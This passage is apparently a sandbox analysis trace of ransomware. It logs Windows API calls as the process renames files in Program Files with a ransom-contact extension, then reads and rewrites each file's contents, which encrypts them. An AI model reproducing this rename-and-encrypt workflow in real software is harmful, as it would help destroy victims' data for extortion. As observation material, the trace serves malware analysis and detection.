files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.805] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.823] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APD3E5~1.FIR")) returned 0x6d54c0 [0124.823] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0124.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0124.823] GetProcessHeap () returned 0x630000 [0124.823] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x6672f8 [0124.824] GetProcessHeap () returned 0x630000 [0124.824] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x6fecbb0 [0124.824] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.824] ReadFile (in: hFile=0x708, lpBuffer=0x6672f8, nNumberOfBytesToRead=0x4e0, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesRead=0x5fbff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0124.829] GetProcessHeap () returned 0x630000 [0124.829] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feec88 [0124.829] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.830] WriteFile (in: hFile=0x708, lpBuffer=0x6fecbb0*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fecbb0*, lpNumberOfBytesWritten=0x5fbff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0124.830] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.830] WriteFile (in: hFile=0x708, lpBuffer=0x6fed08f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fed08f*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0124.830] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.830] WriteFile (in: hFile=0x708, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0124.830] CloseHandle (hObject=0x708) returned 1 [0124.831] GetProcessHeap () returned 0x630000 [0124.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fecbb0 | out: hHeap=0x630000) returned 1 [0124.831] GetProcessHeap () returned 0x630000 [0124.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0124.831] GetProcessHeap () returned 0x630000 [0124.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feec88 | out: hHeap=0x630000) returned 1 [0128.605] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.606] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x10596c1d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x511, dwReserved0=0xad47496, dwReserved1=0x6672f0, cFileName="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APD3E5~1.FIR")) returned 0x6d5200 [0128.606] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0128.606] Sleep (dwMilliseconds=0x1) [0128.683] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf", len=0x42 | out: pbstr=0x5fbff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 1 [0128.683] GetProcessHeap () returned 0x630000 [0128.683] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xb4) returned 0x66a3e0 [0128.683] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0128.683] CloseHandle (hObject=0x4e8) returned 1 [0128.683] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.683] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.684] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.684] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaa77c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaSansRegular.ttf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LUCIDA~3.FIR")) returned 0x6d5480 [0128.684] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0128.684] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0128.684] GetProcessHeap () returned 0x630000 [0128.684] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71fb548 [0128.684] GetProcessHeap () returned 0x630000 [0128.684] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f11da8 [0128.685] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.685] ReadFile (in: hFile=0x4e8, lpBuffer=0x71fb548, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x71fb548*, lpNumberOfBytesRead=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0136.830] GetProcessHeap () returned 0x630000 [0136.830] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0136.830] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.830] WriteFile (in: hFile=0x4e8, lpBuffer=0x6f11da8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f11da8*, lpNumberOfBytesWritten=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0136.831] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.831] WriteFile (in: hFile=0x4e8, lpBuffer=0x6f1d1a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1d1a7*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0136.832] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.832] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0136.832] CloseHandle (hObject=0x4e8) returned 1 [0136.847] GetProcessHeap () returned 0x630000 [0136.848] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f11da8 | out: hHeap=0x630000) returned 1 [0136.853] GetProcessHeap () returned 0x630000 [0136.853] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71fb548 | out: hHeap=0x630000) returned 1 [0136.854] GetProcessHeap () returned 0x630000 [0136.854] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0136.854] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.854] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x17838c9b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xaa7a0, dwReserved0=0xad47496, dwReserved1=0x71fb540, cFileName="LucidaSansRegular.ttf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LUCIDA~3.FIR")) returned 0x6d5340 [0136.854] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0136.854] Sleep (dwMilliseconds=0x1) [0136.868] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF", len=0x44 | out: pbstr=0x5fbff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 1 [0136.868] GetProcessHeap () returned 0x630000 [0136.868] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x230) returned 0x670860 [0136.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0136.869] CloseHandle (hObject=0x4e8) returned 1 [0136.869] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0136.869] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0136.870] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.870] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC1.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CLASSI~2.FIR")) returned 0x6d4f00 [0136.870] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0136.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0136.870] GetProcessHeap () returned 0x630000 [0136.870] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x981) returned 0x697da8 [0136.870] GetProcessHeap () returned 0x630000 [0136.870] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x981) returned 0x6e5368 [0136.870] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.870] ReadFile (in: hFile=0x4e8, lpBuffer=0x697da8, nNumberOfBytesToRead=0x960, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x697da8*, lpNumberOfBytesRead=0x5fbff0c*=0x960, lpOverlapped=0x0) returned 1 [0138.595] GetProcessHeap () returned 0x630000 [0138.595] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0138.595] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.595] WriteFile (in: hFile=0x4e8, lpBuffer=0x6e5368*, nNumberOfBytesToWrite=0x960, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesWritten=0x5fbff0c*=0x960, lpOverlapped=0x0) returned 1 [0138.596] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.596] WriteFile (in: hFile=0x4e8, lpBuffer=0x6e5cc7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5cc7*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.596] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.596] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.596] CloseHandle (hObject=0x4e8) returned 1 [0138.596] GetProcessHeap () returned 0x630000 [0138.596] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0138.596] GetProcessHeap () returned 0x630000 [0138.596] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x697da8 | out: hHeap=0x630000) returned 1 [0138.596] GetProcessHeap () returned 0x630000 [0138.596] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0138.596] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.596] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x188da6a1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x99a, dwReserved0=0xad47496, dwReserved1=0x697da0, cFileName="CLASSIC1.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CLASSI~2.FIR")) returned 0x6d4ec0 [0138.597] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0138.597] Sleep (dwMilliseconds=0x1) [0139.980] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms", len=0x50 | out: pbstr=0x5fbff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 1 [0139.980] GetProcessHeap () returned 0x630000 [0139.980] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c50) returned 0x7203db8 [0139.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0142.452] CloseHandle (hObject=0x6e4) returned 1 [0142.458] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.458] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.833] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.833] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe41a69d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe41a69d5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe42b1a78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ba3, dwReserved0=0x650072, dwReserved1=0x330078, cFileName="HomeBusinessR_Trial2-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOA059~1.FIR")) returned 0x6d53c0 [0143.833] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0143.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0143.833] GetProcessHeap () returned 0x630000 [0143.833] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2bc1) returned 0x6fe3828 [0143.833] GetProcessHeap () returned 0x630000 [0143.833] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2bc1) returned 0x6fe63f8 [0143.833] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.833] ReadFile (in: hFile=0x6e4, lpBuffer=0x6fe3828, nNumberOfBytesToRead=0x2ba0, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fe3828*, lpNumberOfBytesRead=0x5fbff0c*=0x2ba0, lpOverlapped=0x0) returned 1 [0144.710] GetProcessHeap () returned 0x630000 [0144.710] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175f08 [0144.710] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.710] WriteFile (in: hFile=0x6e4, lpBuffer=0x6fe63f8*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fe63f8*, lpNumberOfBytesWritten=0x5fbff0c*=0x2ba0, lpOverlapped=0x0) returned 1 [0145.685] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.685] WriteFile (in: hFile=0x6e4, lpBuffer=0x6fe8f97*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fe8f97*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.937] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.937] WriteFile (in: hFile=0x6e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.937] CloseHandle (hObject=0x6e4) returned 1 [0145.937] GetProcessHeap () returned 0x630000 [0145.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fe63f8 | out: hHeap=0x630000) returned 1 [0145.938] GetProcessHeap () returned 0x630000 [0145.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fe3828 | out: hHeap=0x630000) returned 1 [0145.938] GetProcessHeap () returned 0x630000 [0145.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175f08 | out: hHeap=0x630000) returned 1 [0145.938] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.938] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe41a69d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe41a69d5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1cef6987, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2bc7, dwReserved0=0xad47496, dwReserved1=0x6fe3820, cFileName="HomeBusinessR_Trial2-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOA059~1.FIR")) returned 0x6d5280 [0145.938] FindClose (in: hFindFile=0x6d5280 